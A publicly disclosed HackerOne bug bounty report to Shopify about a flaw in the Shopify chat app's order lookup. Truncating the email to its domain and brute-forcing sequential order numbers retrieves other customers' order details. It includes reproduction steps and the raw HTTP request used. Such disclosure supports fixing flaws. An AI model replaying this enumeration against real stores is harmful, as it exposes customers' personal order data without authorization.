HexBrain

Shopify · Report #968165

Disclose customer orders details by shopify chat application.

Validstatus
mediumseverity
$2,500bounty
65upvotes
14 May 2022disclosed

How it was found

Hello Shopify Security Team!

Bug Summary:

This bug leads to disclose any store orders details ( including sensitive informations), through shopify chat app. the chat app can retrieve the orders details for unauthorized user.

Reproduction steps:

  • install shopify chat applications.

Start Exploit :

  • Go to targeted store :
  • Start a chat using the app.
  • Click on I need an update on my order.
  • fill out the Order ID and Email. ( fill the info randomly if you want to).
  • The bot respond.

█████

Exploit

Remove the first part of the email (keep only @hotmail/gmail/yahoo...). In normal situation the orders IDs start form #1000, and in the verification required the email and ID, So the attacker can brut force on the ID and retrive the order information of that ID with the same email ISP because we removed the first email part.

Request :

POST /api/storefront/conversations/lx9vF-DR31d1ePOOCS0Uw2lFUUBjhNqmMTOdkeM631M/order_lookup HTTP/1.1
Host: shopify-chat.shopifycloud.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://okbay44.myshopify.com/
Content-Type: application/json
X-Shopify-Chat-Shop-Identifier: █████████
Origin: https://okbay44.myshopify.com
Content-Length: 113
DNT: 1
Connection: close

{"order_lookup":{"email":"@gmail.com","order_number":"1005","user_token":"███"}}

Response :

█████

Impact

Retrive any customers data.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original